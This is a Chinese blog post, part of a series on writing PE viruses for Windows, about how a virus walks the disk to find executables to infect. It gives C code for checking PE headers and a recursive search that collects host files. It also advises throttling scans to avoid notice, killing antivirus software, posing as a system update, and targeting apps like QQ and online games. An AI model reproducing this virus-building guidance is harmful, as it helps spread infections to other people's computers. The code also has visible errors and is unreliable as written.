關於PE病毒編寫的學習(四)——關於歷遍磁盤的討論

在上一章中的“前置病毒”中,由於它只是一個測試病毒,因此該病毒只是搜索病毒文件所在文件夾的exe文件。

 

顯然,爲了讓它具有更好傳染性,能夠歷遍整個磁盤或某些重要文件夾的特性,是十分重要的。

 

開始討論歷遍之前,先讓我們來改進原來的代碼

首先在上一章的代碼中,只要結尾是“.exe”的文件就被判斷爲"可執行程序",這種方法在大多數情況下是正確的,但是如果程序經過壓縮或加密後,該文件的PE結構會有改變,雖然它實際上讓然能履行可執行程序的功能,但針對PE文件的操作可能出錯。因此,確定.exe後綴之後,做更加詳細的文件類型檢查很多時是必要的,參考代碼如下:

************************************************************************/  

/* 函數說明:判斷文件是否是可執行文件

/* 參    數: hFile 文件句柄

/* 返 回 值:是可執行文件返回真,否則返回假 

BOOL IsExeFile(HANDLE hFile)
{
 IMAGE_DOS_HEADER dosHeader;
 IMAGE_NT_HEADERS32 ntHeader;
 DWORD nCount;

 BOOL bResult=FALSE;
 ReadFile(hFile, &dosHeader, sizeof(dosHeader),&nCount, NULL);

//dos頭檢查
 if(nCount== sizeof(dosHeader))
   if(dosHeader.e_magic == IMAGE_DOS_SIGNATURE) // 是不是有效的DOS 頭?
     if(SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) != -1)

       {

//NT頭檢查

         ReadFile(hFile, &ntHeader, sizeof(ntHeader), &nCount, NULL);
         if(nCount == sizeof(ntHeader))
            if(ntHeader.Signature == IMAGE_NT_SIGNATURE) // 是不是有效的NT 頭
               if(ntHeader.FileHeader.Characteristics&IMAGE_FILE_EXECUTABLE_IMAGE)//Characteristics也可判斷

                                                                                                                                 //其他類型PE文件

                   bResult=TRUE;

       }
  SetFilePointer(hFile, 0, NULL, FILE_BEGIN)

  return bResult;

}

 

 好嘞,終於進入正題,讓我們談談歷遍磁盤或目錄的問題。

 先說說好的病毒設計對歷遍磁盤的設計要求:

        1、避免對系統衝擊過大:歷遍磁盤對系統衝擊相當大,並且有可能多個病毒同時開啓,如果搜索時間較長,應該適當掛起程序,

                                           將時間片還給系統

        2、最好限制搜索文件數量和範圍:不要試圖感染本機所有文件,這樣只能是病毒和系統一起完蛋;感染系統文件雖然十分有用,

                                                       在有保護的情況下,非常容易被殺毒軟件發現。

        3、搜索速度要快:很多時候,不能單獨開啓新進程執行正常程序,因此正常程序不得不等待病毒程序完畢

 

解決方方案:

        方案一:如果能幹掉殺毒軟件的話,將關鍵目錄目標文件和一般目錄結合搜索,能取得不錯效果

 

        方案二:如果你爲人低調的話,通過僞裝或隱藏,比如模擬系統更新來注入到關鍵目錄中

 

        方案三:沒有辦法也是辦法,搜索普通目錄,比如迅雷、qq、一些網遊也是不錯的選擇

 

不管你選擇哪種方法,這裏給出一個文件樹搜索參考代碼:

************************************************************************/  

/* 函數說明:歷遍該路徑下的可執行文件

/* 參    數:Top   文件路徑   int nCount 搜索符合要求文件的最大數目  pFileHandle 將找到的符合要求文件句柄儲存在這裏

/* 返 回 值:找到符合要求文件的數目  

int SearchHostFile(TCHAR* Top,int nCount,PHANDLE  szFileHandle)

{

  static  int  nResult=0;

  WIN32_FIND_DATA fd;
  HANDLE szFileHandle[nResult] = FindFirstFile(Top,&fd);
  if(szFileHandle[nResult]!=INVALID_HANDLE_VALUE)

  {

    if(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
       SearchHostFile(fd.cFileName,nCount,szFileHandle);

    else

       {

          while(nResult<nCount)

          {

             if(IsExeFile(szFileHandle[nResult]))

               nResult++;

             FindNextFile(szFileHandle[nResult],&fd);

             if(szFileHandle[nResult]==INVALID_HANDLE_VALUE)

                break;

             sleep(0);

          }

       }    

   }

   return nResult;

}

 

以上純屬個人觀點,由於本人能力有限,如有錯誤,請你指正,希望大家常來常往,互相交流

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章